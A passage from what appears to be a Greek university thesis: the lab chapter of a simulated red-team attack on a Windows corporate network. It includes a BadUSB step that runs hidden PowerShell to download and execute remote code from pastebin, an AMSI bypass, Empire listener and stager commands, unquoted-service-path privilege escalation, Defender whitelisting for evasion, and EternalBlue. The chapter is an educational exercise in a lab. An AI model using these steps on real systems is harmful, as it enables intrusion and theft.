με οδηγούς πληκτρολογίου, έτσι ώστε να μπορεί να προσομοιώνει το πάτημα 

φυσικών πλήκτρων. 

 Όταν βάλουμε σε μία θύρα usb τη συσκευή, αυτή θα ανοίξει το powershell 

με δικαιώματα διαχειριστή, θα κατεβάσει και θα εκτελέσει από μια δεδομένη 

διεύθυνση, το payload, το οποίο είναι ένα αντίστροφο κέλυφος που συνδέεται σε 

έναν απομακρυσμένο server. Ο συγκεκριμένος server, δεν είναι ο τελικός 

αποδέκτης των πακέτων, αλλά χρησιμεύει μόνο ως ενδιάμεσος διακομιστής 

(proxy). Έχει ακολουθηθεί αυτή η προσέγγιση, για να υπάρχει όσο το δυνατόν 

μεγαλύτερη πιστότητα σε σχέση με μία πραγματική επίθεση. Τα πακέτα, 

καταλήγουν στο μηχάνημα του επιτιθέμενου, το οποίο έχει εγκατεστημένη μία 

διανομή Linux σχεδιασμένη για να χρησιμοποιείται κυρίως από μηχανικούς 

ασφαλείας, και έρχεται με πάρα πολύ μεγάλο αριθμό από προεγκατεστημένα 

προγράμματα, εργαλεία και σουίτες. 

 Αφού αποκτήσουμε πρόσβαση στον αρχικό κόμβο, ξεκινάμε να κάνουμε 

απαρίθμηση και να προσπαθούμε να βρούμε κενά ασφαλείας τα οποία θα μας 

οδηγήσουν στο να αποκτήσουμε πρόσβαση σε άλλους υπολογιστές που 

βρίσκονται στο ίδιο δίκτυο. Ιδανικά θα πρέπει να αποκτήσουμε πρόσβαση στον 

Domain Controller, αφού η πρόσβαση εκεί εξασφαλίζει πως κάθε κόμβος που 

βρίσκεται από κάτω, θα μπορεί να εκτελεί οποιαδήποτε εντολή του δώσουμε. 

Σε ένα σενάριο πραγματικής επίθεσης, ο επιτιθέμενος δε στοχεύει πάντα να 

αποκτήσει πρόσβαση σε μεγάλο όγκο κόμβων, αλλά να ξεχωρίσει ποιος κόμβος 

μπορεί να περιέχει τα δεδομένα που τον ενδιαφέρουν. Άρα εδώ, η προσέγγιση που 

θα ακολουθήσουμε, είναι αυτή της συντομότερης οδού, αφού μετά τον πρώτο 

κόμβο, θα επιχειρήσουμε να αποκτήσουμε πρόσβαση απ’ ευθείας στον υπολογιστή 
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του λογιστηρίου, ο οποίος είναι ο στόχος που πρέπει να πέσει, σύμφωνα με το 

συμφωνητικό που έχει υπογραφεί. 

 

 

Εικόνα 6-1 

Σχηματικό Εργαστηριακής Υποδομής 

 

 

Η υποδομή  

 

1. Υλικό 

Digispark USB Development Board 

 

Η συγκεκριμένη πλακέτα, διαθέτει έναν προγραμματιζόμενο μικροελεγκτή 

της οικογένειας ATTINY85, και έχει 6KB ενσωματωμένης μνήμης, στην οποία θα 
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αποθηκευτεί ο κώδικάς μας. Υπάρχει επίσης LED λειτουργίας, το οποίο 

ενεργοποιείται μόλις η συσκευή αρχίσει να εκτελεί τον αποθηκευμένο κώδικα.  

 

 

Εικόνα 6-2 

 

2. Λογισμικό 

➔ Windows Server 2019 

Είναι ο υπολογιστής που τρέχει το λογισμικό Active Directory της Microsoft 

και επιτελεί το ρόλο του Domain Controller του εταιρικού δικτύου το οποίο 

προσομοιώνουμε. 

 

➔ Windows 10 (4x) 

Οι υπολογιστές αυτοί είναι το υποτιθέμενο δίκτυο της εταιρίας στην οποία 

γίνεται η επίθεση, και αποτελείται από βασικά άκρα που συναντάμε στην 

πλειονότητα των οργανισμών. Υπάρχει υπολογιστής γραμματείας, λογιστηρίου 

(2x), και ανθρωπίνων πόρων. 

 

➔ Debian 10 

  OpenSSH (server) 

  Empire 

  Metasploit 

  msfvenom 

 

OpenSSH 

Το μηχάνημα αυτό αποτελεί τον ενδιάμεσο διακομιστή που χρησιμοποιούμε, ώστε 

να διατηρήσουμε όσο το δυνατόν μεγαλύτερη απόσταση με το μηχάνημα από το 

οποίο γίνεται η επίθεση. Η συγκεκριμένη εγκατάσταση, του OpenSSH έχει 

οχυρωθεί περαιτέρω, αφού θέλουμε σε περίπτωση που η επίθεσή μας γίνει 
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αντιληπτή και ανιχνευθεί η IP από και προς την οποία τα πακέτα κατευθύνονται, να 

μη μπορεί κάποιος να ρίξει τον ενδιάμεσο αυτό διακομιστή. 

 

Η διαδικασία της οχύρωσης (hardening) περιλαμβάνει τα εξής: 

α) αποτροπή σύνδεσης χωρίς κωδικό 

β) αποτροπή σύνδεσης με δικαιώματα διαχειριστή 

γ) αποτροπή σύνδεσης χωρίς την ύπαρξη δημοσίου κλειδιού 

δ) αποτροπή σύνδεσης από μη επιτρεπόμενη IP 

ε) αλλαγή της προεπιλεγμένης θύρας στην οποία ακούει το λογισμικό 

ζ) κλείδωμα για 5 λεπτά (timeout) σε περίπτωση αποτυχημένης σύνδεσης 

τρεις συνεχόμενες φορές 

η) αποτροπή προώθησης συνεδρίας X11 

 

Empire (post exploitation framework) 

Το Empire έχει εμπνευστεί το όνομά του από την αυτοκρατορία στο Star Wars, και 

είναι το λογισμικό που θα κάνει την προώθηση των πακέτων από και προς το 

διακομιστή. 

➔ Kali Linux 

Η διανομή από την οποία θα εξαπολύσουμε την επίθεση. 

➔ VMWare Workstation 

Το λογισμικό πάνω στο οποίο είναι στημένη όλη η υπόλοιπη υποδομή 

 

Empire Listener Setup 

Πρώτα πρέπει να ρυθμίσουμε τον listener του Empire: 

 

$ listeners 

$ uselistener http 

$ set Name <AnyNameWeLike> 

$ set host http:/85.72.xx.xxx.45555 

➔ σημείωση: Η IP είναι η εξωτερική IP του μηχανήματος μου, και 

προωθούμε την εισερχόμενη κίνηση από την πόρτα 45555, στο 

μηχάνημα με τον πραγματικό listener. 

$ set Port <AnyPort> 
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$set DefaultDelay 1 

 

Αφήνουμε τις υπόλοιπες ρυθμίσεις ως έχουν. 

 

 

Εικόνα 6-2 

Ύστερα πρέπει να δημιουργήσουμε στον stager, ο οποίος θα είναι αυτός που θα 

περιέχει το payload. 

 

$ main 

$ usestager windows/<anything> 

$ set Listener <OurListenerName> 

➔ σημείωση: εάν θέλουμε να πάρουμε τον stager σε αρχείο, αντί για την 

οθόνη: set OutFile <path> 

$ execute 

➔ σημείωση: η εντολή “execute” θα δημιουργήσει τον stager, αλλά εμείς θα 

χρειαστεί να πάρουμε μόνο το κομμάτι του payload, έτσι ώστε να το 

επεξεργαστούμε περαιτέρω. 
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Εικόνα 6-3 

Το payload είναι κωδικοποιημένο σε μορφή base64, και για να πάρουμε την ascii 

μορφή του, πληκτρολογούμε: 

 

$  base64 -d <  <OutFile>  > OutFileDecoded 

 

Άρα τώρα έχουμε το payload σε ascii μορφή, αποθηκευμένο στο αρχείο 

“OutFileDecoded ”. Στη συνέχεια, προσθέτουμε τον κώδικα από το αποθετήριο 

AmsiScanBufferBypass by RastaMouse [6] και ανεβάζουμε το τελικό αποτέλεσμα, 

στο pastebin. Το παραπάνω σκρίπτ, πρακτικά απενεργοποιεί μία λειτουργία του 

Windows Defender που ονομάζεται AMSI (Antimalware Scan Interface), η οποία 

σαρώνει όλα τα εκτελέσιμα σε ένα περιβάλλον sandbox και ψάχνει για ύποπτα 

αλφαριθμητικά. 
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Επιλέγουμε το pastebin, γιατί πολύ σπάνια είναι καταχωρημένο σε μαύρες 

λίστες, και επίσης έχει κρυπτογραφημένη σύνδεση (TLS), άρα δεν προκαλεί 

συναγερμό σε συσκευές που παρακολουθούν την εισερχόμενη/εξερχόμενη κίνηση 

στο δίκτυο που θέλουμε να επιτεθούμε. 

 

➔ σημείωση: τα URLs στα οποία ανεβάσαμε τον κώδικά μας, πρέπει να είναι 

πάντα τα “raw text”. 

 

Malicious USB 

Αφού κατεβάσουμε το Arduino IDE [7] πρέπει να περάσουμε τους οδηγούς 

που είναι συμβατοί με το μικροελεγκτή που διαθέτει η πλακέτα μας. Όταν 

ολοκληρωθεί η διαδικασία, επιλέγουμε από το μενού των εργαλείων τον οδηγό που 

εγκαταστήσαμε.  

 

Tools > Board > Digispark (Default - 16.5Mhz) 

 

 

Εικόνα 6-4 

 

Ο καλύτερος τρόπος για να πάρουμε τερματικό στον υπολογιστή του 

θύματος, είναι να τρέξουμε τις εντολές στο powershell. Το header “DigiKeyboard.h” 

μας προσφέρει ακριβώς αυτή τη δυνατότητα, παρέχοντάς μας την ευελιξία να 

περνάμε οποιοδήποτε πάτημα κουμπιού κατ’ ευθείαν στο σύστημα, όπως ακριβώς 

ένα πληκτρολόγιο. Το μόνο που θέλουμε, είναι τον κατάλληλο συνδυασμό 

πλήκτρων, για να μπορέσουμε να εκτελέσουμε το powershell με διακαιώματα 

διαχειριστή. 
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Πρακτικά, θέλουμε να πατήσουμε Win+R, το οποίο θα μας δώσει πρόσβαση 

στο run. Μετά θα εκτελέσουμε το powershell με αλυσιδωτά ορίσματα τα 

ανεβασμένα στο pastebin scripts.  

➔ powershell -NoP -NonI -W Hidden -Exec Bypass -Command IEX (New-

Object Net.WebClient).DownloadString("https://pastebin.com/raw/xxxxxxxx 

&& https://pastebin.com/raw/yyyyyyyy") 

 

Μάλιστα, η διαδικασία θα γίνει, χωρίς να εμφανιστεί το παράθυρο του 

τερματικού, κάτι που θα έβαζε ένα χρήστη σε υποψία. Πρέπει παρ’ ολ’ αυτά να 

εκτελέσουμε το AMSI Bypass πριν από τον stager, σε διαφορετική περίπτωση το 

AMSI θα βρει τα κακόβουλα αλφαριθμητικά και θα τα τερματίσει. 

 

Ακολουθεί ένα δείγμα κώδικα που θα μπορούσε να χρησιμοποιηθεί για να 

πετύχουμε την παραπάνω διαδικασία. Βέβαια θα πρέπει να λάβουμε υπόψιν και το 

τι τοπικές ρυθμίσεις γλώσσας (locale) χρησιμοποιεί ο υπολογιστής που δέχεται την 

επίθεση, καθώς το σκριπτ θα πρέπει να έχει μικρές διαφορές ανάλογα την 

περίπτωση. 

 

 

Εικόνα 6-5 

 

Κάτι που πρέπει επίσης να τονιστεί, είναι ότι οι καθυστερήσεις, καλό θα ήταν 

να προκύψουν ως προϊόν πειραματισμού, αφού αναλόγως της ισχύος του 

μηχανήματος στο οποίο θα τοποθετηθεί το USB, ο αριθμός αυτός θα διαφέρει. 

https://pastebin.com/raw/yyyyyyyy


Προσομοίωση επίθεσης σε εταιρικό δίκτυο με χρήση ασύμμετρων τεχνικών 
 

Ορέστης Κοκκόλης                                                                                                                           58 
 

Χαμηλότερης ισχύος συστήματα, χρειάζονται μεγαλύτερη καθυστέρηση, ενώ 

αντίστροφα, μεγαλύτερης ισχύος συστήματα, χρειάζονται λιγότερη καθυστέρηση. 

Μόλις γράψουμε τον κώδικα στη ROM, τοποθετούμε το DIgispark στη θύρα 

USB και περιμένουμε μέχρι να ξεκινήσει η εκτέλεση του κώδικα. 

Μέσα σε λίγο χρόνο παίρνουμε αντίστροφο κέλυφος στο Empire. Οπότε 

ξεκινάμε την απαρίθμηση. 

$ main 

$ listeners 

➔ σημείωση: επιστρέφει τη λίστα όλων των ενεργών listeners 

 

$ interact <SomeListener> 

➔ σημείωση: με τη χρήση της εντολής help μπορούμε να πάρουμε όλες τις 

εντολές τις οποίες δέχεται το Empire, δίνοντας ιδιαίτερη προσοχή στο ότι 

μερικές από αυτές χρειάζονται δικαιώματα διαχειριστή, τα οποία δεν έχουμε. 

Οπότε επόμενος στόχος είναι να αποκτήσουμε δικαιώματα διαχειριστή. 

 

$ usemodule privesc/powerup/allchecks 

➔ σημείωση: το Empire περιέχει μια πολύ μεγάλη λίστα με πιθανούς ελέγχους 

που μπορούν να γίνουν στο σύστημα, αλλά το allchecks τα πραγματοποιεί 

όλα μαζί 

$ run 

 

Οι εικόνες παρουσιάζουν ένα μικρό απόσπασμα από τα αποτελέσματα που 

επιστρέφει το σύνολο των ελέγχων, περιορισμένα μόνο σε αυτά που μας 

ενδιαφέρουν άμεσα για να προχωρήσουμε την απαρίθμηση. 
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Εικόνα 6-6 

 

 

 

Εικόνα 6-7 
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Εικόνα 6-8 

 

Τώρα έχουμε πάρα πολλές πληροφορίες σχετικά με το σύστημα, τις 

αδυναμίες και τις λάθος ρυθμίσεις, και μπορούμε να αρχίσουμε να σκεφτόμαστε 

πιθανές διαδρομές για να πάρουμε διαχειριστικά δικαιώματα. 

Όπως μπορούμε να διακρίνουμε, υπάρχουν δύο μονοπάτια για να πάρουμε 

διαχειριστικά δικαιώματα, και είναι και τα δύο αρκετά κοινά ως ιδέες, διαφέρει ο 

τρόπος υλοποίησης. 

 

• DLL injection 

Μία μέθοδος δηλαδή, που δίνει τη δυνατότητα να αλλάξουμε τη συμπεριφορά 

συγκεκριμένων βιβλιοθηκών που φορτώνονται από τα εκτελέσιμα κατά το χρόνο 

εκτέλεσης. 

• Unquoted Service Path 

Κακή ρύθμιση / παραμετροποίηση μιας υπηρεσίας συστήματος που έχει 

ενεργοποιήσει κάποιος διαχειριστής συστήματος. 

 

Επιλέγουμε τη δεύτερη οδό, μιας και προσφέρει πιο ευρεία επιφάνεια επίθεσης, 

αφού η υπηρεσία μπορεί να μεταβληθεί από το χρήστη. 
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Σχετικά με την ευπάθεια 

 

Το πρόβλημα έγκειται στον τρόπο με τον οποίο τα Windows χειρίζονται 

συμβολοσειρές που δεν είναι μέσα σε διπλά εισαγωγικά. Κάθε φορά που ξεκινά μια 

υπηρεσία, τα Windows αρχίζουν να ελέγχουν τη διαδρομή της υπηρεσίας από 

αριστερά προς τα δεξιά. Όταν μια διαδρομή περιέχει έναν χαρακτήρα κενού 

διαστήματος, τα Windows δεν μπορούν να προσδιορίσουν εάν οι χαρακτήρες 

αμέσως μετά το κενό διάστημα είναι σημαίες ενός προηγούμενου εκτελέσιμου ή όχι. 

Αυτό μπορεί να αξιοποιηθεί τοποθετώντας το εκτελέσιμο του αντίστροφου 

κελύφους στον πρώτο (αριστερά προς τα δεξιά) υποκατάλογο που έχουμε 

δικαιώματα εγγραφής. 

Μια άλλη εντολή που θα μπορούσαμε να χρησιμοποιήσουμε για να έχουμε 

πιο συμπαγή προβολή (μόνο απαρίθμηση υπηρεσιών): 

 

$ shell wmic service get name,startname 

 

 

Εικόνα 6-9 

. 

. 

. 

 

Εικόνα 6-10 
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Η διαδρομή της ευάλωτης υπηρεσίας είναι:  

C:\Program Files (x86)\SmuggleStuff\Make Money\More Money\smuggling.exe 

 

Η κακόβουλη υπηρεσία θα μπει κάτω από τον κατάλογο “SmuggleStuff". Ο 

κατάλογος αυτός περιέχει μόνο έναν υποκατάλογο, με το όνομα “Make Money”. 

Τοποθετώντας το εκτελέσιμό μας κάτω από τον κατάλογο “SmuggleStuff”, και 

ονομάζοντάς το Make.exe, θα ξεγελάσουμε τα Windows ώστε να το εκτελέσουν, 

αφού τα Windows πρώτα θα προσπαθήσουν να βρουν το “Make.exe” και το 

υπόλοιπο αλφαριθμητικό θα θεωρηθεί ως κάποια σημαία του εκτελέσιμου. 

Έχοντας φτιάξει το πλάνο του επόμενου βήματος της επίθεσης, προχωράμε 

στο να φτιάξουμε και να δοκιμάσουμε την υπηρεσία τοπικά και ύστερα να την 

ανεβάσουμε στο θύμα μέσω του χαμηλών δικαιωμάτων κελύφους. Στη συνέχεια θα 

επανεκκινήσουμε το μηχάνημα του θύματος, μιας και η υπηρεσία εκκινεί μαζί με τη 

σύνδεση στο λογαριασμό του χρήστη. Αυτό μπορούμε να το πετύχουμε, είτε 

κάνοντας επανεκκίνηση απομακρυσμένα, είτε ξεγελώντας το χρήστη να κάνει 

επανεκκίνηση. Θα χρησιμοποιήσουμε τη δεύτερη μέθοδο. Φτιάχνουμε μία 

εφαρμογή η οποία προτρέπει το χρήστη να επανεκκινήσει, και την εκτελούμε στο 

μηχάνημα του θύματος. 

 

 

 

 

Στο Visual Studio δημιουργούμε ένα νέο service project σε C# με το όνομα 

Make.exe, το οποίο στην πιο απλή μορφή του, θα έχει τον παρακάτω κώδικα. 
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Εικόνα 6-11 

Η μέθοδος OnStart στη γραμμή 7 ορίζει τις προεπιλεγμένες ενέργειες που 

εκτελούνται όταν η υπηρεσία αρχίσει να εκτελείται. Επίσης στις γραμμές 8 και 9 

ορίζουμε ένα αλφαριθμητικό το οποίο περιέχει τα ενωμένα αλφαριθμητικά του AMSI 

bypass και του αντίστροφου κελύφους. Τέλος, η εντολή εκτελείται στη γραμμή 14. 

Αφού αποθηκεύσουμε και συμπιλήσουμε το πρόγραμμά μας, πρέπει να 

χρησιμοποιήσουμε μια ενσωματωμένη δυνατότητα των Windows η οποία 

προσθαφερεί εκτελέσιμα στον πίνακα με τις υπηρεσίες, η οποία ονομάζεται 

InstallUtil.exe και μπορούμε να τη βρούμε στα εξής μονοπάτια: 

 

➔ x86: C:\Windows\Microsoft.NET\Framework\v###\.\InstallUtil.exe 

➔ x64: C:\Windows\Microsoft.NET\Framework64\v###\.\InstallUtil.exe 

 

Στο τερματικό, η εντολή μας θα είναι κάπως έτσι: 

> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\.\InstallUtil.exe 

> C:\<>\Make.exe 

 

Και αυτή θα είναι η έξοδός της: 
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Εικόνα 6-12 

 

Η διαδικασία ολοκληρώθηκε επιτυχώς, και πρέπει να ελέγξουμε αν η υπηρεσία 

ενεργοποιείται επιτυχώς.  

 

 

Εικόνα 6-13 

 

Τέλος πρέπει να ελέγξουμε, αν το αντίστροφο κέλυφος λειτουργεί όπως 

θέλουμε. Άρα θα πάμε στο Debian θα τρέξουμε πάλι το Empire και θα 

ενεργοποιήσουμε την κακόβουλη υπηρεσία (Make.svc). Εάν πάρουμε εκτέλεση 

κώδικα, αυτό θα σημαίνει πως η υπηρεσία μας δούλεψε, και επομένως είναι έτοιμη 

να προωθηθεί στο μηχάνημα του θύματος. 

Ενεργοποιώντας την υπηρεσία, βλέπουμε το παρακάτω: 
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Εικόνα 6-14 

 

Εάν αλληλοεπιδράσουμε και δώσουμε sysinfo, βλέπουμε πως το πεδίο High 

Integrity έχει τιμή 1, άρα έχουμε δικαιώματα διαχειριστή στο μηχάνημα. 

 

 

Εικόνα 6-15 

Η κακόβουλη υπηρεσία είναι έτοιμη για το μηχάνημα του θύματος. 

 

Εφόσον το θύμα επανεκκινήσει τον υπολογιστή του μπορούμε να δούμε πως 

η υπηρεσία μας τρέχει κανονικά άρα μπορούμε να πάρουμε το PID και να δούμε 

την κατάσταση της διεργασίας. 

 

Εικόνα 6-16 
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Εικόνα 6-17 

 

Πρώτο μας μέλημα είναι να πάρουμε μονιμότητα στο μηχάνημα του θύματος, 

επαναφέροντας παράλληλα την πρότερη λειτουργικότητα της υπηρεσίας. Οπότε σε 

περίπτωση που το θύμα επανεκκινήσει τον υπολογιστή του ξανά, θα έχουμε 

πρόσβαση ακόμα στον υπολογιστή του. 

Το Empire, μεταξύ άλλων, μας δίνει τη δυνατότητα να φυτέψουμε στο 

σύστημα του θύματος μία διεργασία που από άποψη συμπεριφοράς μιμείται αυτή 

της ενημέρωσης των Windows, και άρα είναι πολύ δύσκολο να ανιχνευθεί. 

 

Εικόνα 6-18 

 

Εικόνα 6-19 
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Έπειτα, προσπαθούμε να δούμε εάν ο υπολογιστής αυτός επικοινωνεί και 

με άλλα μηχανήματα, και συγκεκριμένα μας ενδιαφέρει οτιδήποτε θα μας δώσει 

στοιχεία για το λογιστήριο της εταιρίας, μιας και αυτό αποτελεί τον τελικό στόχο μας. 

Με μια αρχική απαρίθμηση, μπορούμε να δούμε πως βλέπουμε τον 

υπολογιστή με domain name ACCOUNTING. Μπορούμε επίσης να δούμε, πως το 

μηχάνημα τρέχει μία παλιά έκδοση των Windows και πιο συγκεκριμένα την έκδοση 

7. Υπάρχει μεγάλη πιθανότητα να μπορούμε να πραγματοποιήσουμε επίθεση 

βασισμένη σε μία από τις πιο γνωστές ευπάθειες των Windows 7, την EternalBlue, 

η οποία έγινε γνωστή μετά την κλοπής της από την Εθνική Υπηρεσία Ασφαλείας 

των ΗΠΑ, και λίγο καιρό μετά χρησιμοποιήθηκε ευρέως από το λυτρισμικό 

(ransomware) WannaCry το οποίο μόλυνε το 2017 εκατοντάδες χιλιάδες 

υπολογιστές σε όλο τον κόσμο. Η συγκεκριμένη ευπάθεια μας επιτρέπει να 

πάρουμε απ’ ευθείας δικαιώματα διαχειριστή στο δεύτερο μηχάνημα, κάτι που 

διευκολύνει αρκετά την όλη διαδικασία. 

 

Εικόνα 6-20 

 

Πρώτα με ένα ping στο domain παίρνουμε την IP του μηχανήματος του 

λογιστηρίου, η οποία δε μας ήταν γνωστή μέχρι τώρα. 
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Εικόνα 6-21 

 

Κάτι που πρέπει να προσέξουμε ιδιαίτερα, είναι πως επειδή θα πρέπει να 

τρέξουμε το εκτελέσιμο που εκμεταλλεύεται την ευπάθεια από τον υπολογιστή που 

ελέγχουμε ήδη και η ευπάθεια είναι γνωστή, το εκτελέσιμο θα πρέπει να 

καμουφλαριστεί, και θα πρέπει να απενεργοποιήσουμε το Firewall και το Windows 

Defender. Το πρόβλημα που προκύπτει, είναι πως όταν απενεργοποιείται το 

Defender γίνεται αυτομάτως πολύ εμφανές στο χρήστη, αφού εμφανίζεται 

ειδοποίηση στη μπάρα εργασιών του λειτουργικού συστήματος. Άρα μία καλύτερη 

και πιο αθόρυβη λύση, είναι να κάνουμε Whitelist ένα συγκεκριμένο μονοπάτι, στο 

οποίο και θα ανεβάσουμε το εκτελέσιμό μας. 

 

 

Εικόνα 6-22 

 

Εικόνα 6-23 

 

Μετά, είμαστε έτοιμοι να παράξουμε το κακόβουλο εκτελέσιμο. Γι’ αυτό το 

σκοπό θα χρησιμοποιήσουμε το msfvenom, θα σηκώσουμε τις κατάλληλες σημαίες 

έτσι ώστε να πετάξουμε έξω από το εκτελέσιμο δεκαεξαδικά τα οποία αποτελούν 

ειδικούς χαρακτήρες (όπως τα \x00,\x0a,\x0d) και θα προσπαθήσουμε να 

θολώσουμε(obfuscate) όλο το εκτελέσιμο χρησιμοποιώντας μία συνάρτηση xor, 

όπως φαίνεται στην παρακάτω εικόνα. 
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Εικόνα 6-24 

 

Σηκώνουμε στο μηχάνημά μας τον listener στον οποίο θα επιστρέψει το 

αντίστροφο τερματικό στην πόρτα 4444 (είναι η προεπιλεγμένη πόρτα που 

χρησιμοποιεί το metasploit). 

 

 

Εικόνα 6-25 

 

Τέλος ανεβάζουμε το εκτελέσιμο στο μηχάνημα του θύματος, στη διαδρομή 

την οποία έχουμε κάνει whitelist στο Windows Defender και το εκτελούμε.  

 

Εικόνα 6-26 

 

Εικόνα 6-27 

 

Το μόνο που μένει τώρα, είναι να πάρουμε πρόσβαση ως διαχειριστές, 

επιλέγοντας μέσα από το Metasploit την ευπάθεια EternalBlue, ρυθμίζοντας μόνο 

την IP του μηχανήματος που θέλουμε να προσβάλλουμε.  
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Εικόνα 6-28 

 

Εικόνα 6-29 

Έχουμε πλέον αποκτήσει πρόσβαση στον υπολογιστή του λογιστηρίου. 
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Επίλογος 

 

Στην εργασία αυτή, είδαμε αναλυτικά τα στάδια μιας δοκιμής ασφαλείας, 

ξεκινώντας από την αναγνώριση του στόχου και καταλήγοντας μέχρι τις τεχνικές 

αναφορές, και τις αναφορές στελεχών. Είδαμε τις διαφορές που έχει η δοκιμή 

ασφαλείας από το red teaming και πως μπορεί κάθε μία από αυτές τις 

προσεγγίσεις να βοηθήσει έναν οργανισμό να οχυρωθεί απέναντι σε κακόβουλες 

ενέργειες και να θωρακίσει τις υποδομές του. 

  Το πως είναι στημένες οι υποδομές, διαφέρει από οργανισμό σε 

οργανισμό, αλλά ως κοινός παρονομαστής, υπάρχει ο Active Directory, γι’ αυτό 

και μελετήθηκε σε βάθος, τόσο η δομή του από φυσικής και λογικής σκοπιάς, όσο 

και οι περισσότερο χρησιμοποιούμενες τεχνικές που χρησιμοποιούνται από 

κακόβουλους χρήστες και μηχανικούς ασφαλείας για την παραβίασή του. 

 Στο εργαστηριακό μέρος, αντιπαραβάλλαμε την ικανότητα ενός SysAdmin 

να κρατήσει ενημερωμένα όλα τα μηχανήματα και να ακολουθήσει τις βέλτιστες 

πρακτικές ασφαλείας (best practices), με το μεγάλο κενό ασφαλείας το οποίο δεν 

είναι άλλο από τον ίδιο το χρήστη. Επίσης φάνηκε ξεκάθαρα, πως ένας 

κακόβουλος χρήστης εφ’ όσων αποκτήσει πρόσβαση στο  θα ακολουθήσει τη 

συντομότερη οδό για το στόχο του και το πετυχαίνει αυτό, παρακάμπτοντας 

τελείως τον Active Directory. 

 Άρα σημασία δεν έχει να θωρακίζουμε μόνο τα συστήματα μας απέναντι σε 

κακόβουλους χρήστες, αλλά ως επαγγελματίες πρέπει να διατηρούμε σε διαρκή 

επαγρύπνηση, αλλά και να καταρτίζουμε το προσωπικό, ώστε να το καθιστούμε 

λιγότερο επιρρεπές σε ενέργειες που θα θέσουν σε κίνδυνο ολόκληρη την 

υποδομή. 
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